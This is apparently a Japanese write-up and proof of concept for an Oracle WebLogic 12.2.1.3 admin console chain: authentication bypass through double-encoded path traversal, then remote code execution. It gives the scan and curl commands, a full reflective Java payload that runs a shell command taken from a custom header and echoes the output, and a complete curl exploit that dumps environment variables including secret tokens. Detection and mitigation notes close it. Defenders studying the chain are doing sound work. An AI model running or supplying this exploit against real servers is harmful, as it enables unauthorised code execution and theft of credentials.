
Oracle WebLogic Serverの脆弱性チェーンに関する技術的分析と、クリーンなJava Thread Echo PoC。
このリポジトリには、Oracle WebLogic Server の管理コンソールコンポーネントにおける認証回避 (Authentication Bypass) およびリモートコード実行 (RCE) の脆弱性チェーンを示す技術レポート (Write-up) と概念実証 (PoC) が含まれています。
🛑 警告および免責事項: 本資料は、教育目的および合法的なセキュリティ監査 (ペネトレーションテスト) の実施のみを目的として作成されています。所有者の事前の書面による同意なしに、ここで説明する手法をシステムに対して使用することは法律で罰せられます。
12.2.1.3 がデプロイされた隔離テスト環境nmap, curl, bash攻撃対象領域を特定するため、Web サービスの標準ポートと Java アプリケーションの管理ポートに対して対象を絞ったスキャンを実施しました。
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
制御されたターミナル出力:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3 の存在が確認されました。T3 プロトコルが有効であることは代替ベクトルの可能性も示唆しますが、本研究ではコンソールの HTTP Web インターフェースを選択しました。パス構造の分析により、Web サーバーが二重 URL エンコードされたディレクトリトラバーサルシーケンスを誤って処理することが判明しました。/console/css/ リソースは静的コンテンツとして公開されています。保護されたポータルにアクセスするためのリクエストを構築します。
/console/css/%252e%252e%252fconsole.portalサーバーの到達可能性と動作を確認します (403 Forbidden やログインページへの 302 Redirect の代わりに、ステータス 200 OK を期待):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
サーバー応答:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
認証回避とセッションハンドラー com.tangosol.coherence.mvel2.sh.ShellSession の呼び出しを組み合わせることで、任意の Java コードを実行できるようになります。
java.lang.Runtime による通常のコマンド実行は「ブラインド」(Blind RCE) です。Command Echo 技術 (端末の出力を HTTP レスポンスボディに直接返す) を実現するため、専用のリフレクシブ Java ペイロードを開発しました。
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Java コンテキストの送信を自動化するため、最終的な curl コマンドを組み立てます。ペイロードは POST パラメータ handle に、実行したいコマンドはカスタムヘッダー X-CMD-HEADER: env に渡します。
このアプローチにより、研究者側のローカルな Bash コマンドラインインタープリターによるデータの改変を防ぐことができます。
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
実際に検証された出力 (環境変数のダンプ):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) エラーは、悪用が成功したことを裏付けています。これは executeThread.interrupt() 命令によって、env コマンドの結果を含むバッファがクライアントに送信された直後に TCP セッションが強制的に切断されるために発生します。7001, /console) を外部ペリメーターから完全にネットワーク分離します (内部 VPN / マイクロセグメンテーション経由のみアクセス可能)。%252e) の兆候と特定の Java クラス呼び出しを組み合わせた URL リクエストをブロックするよう Web Application Firewall のルールを設定します。セキュリティ監視の専門家 (SOC/Blue Team) にとって、この脆弱性チェーンの悪用が成功した場合、インフラストラクチャに明確な痕跡が残ります。
WebLogic Web サーバーのログ (通常は access.log) では、静的ディレクトリを経由した管理ポータルへのアクセスと、ドットとスラッシュの二重 URL エンコードが組み合わさることが攻撃のマーカーとなります。
.. 部分文字列 (%252e%252e%252f または %252e%252e%252F) の検索。"POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
サーバーでプロセス監査が有効になっている場合 (Linux の Auditd や Windows の Sysmon など)、リモートコード実行の兆候として、Java の親プロセスの異常な動作が確認されます。
/bin/sh, /bin/bash または cmd.exe) の親プロセスが、アプリケーションサーバーを実行している Java ワーカープロセスになっています:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER や X-Forwarded-Cmd) がトラフィックや WAF ログに出現すること。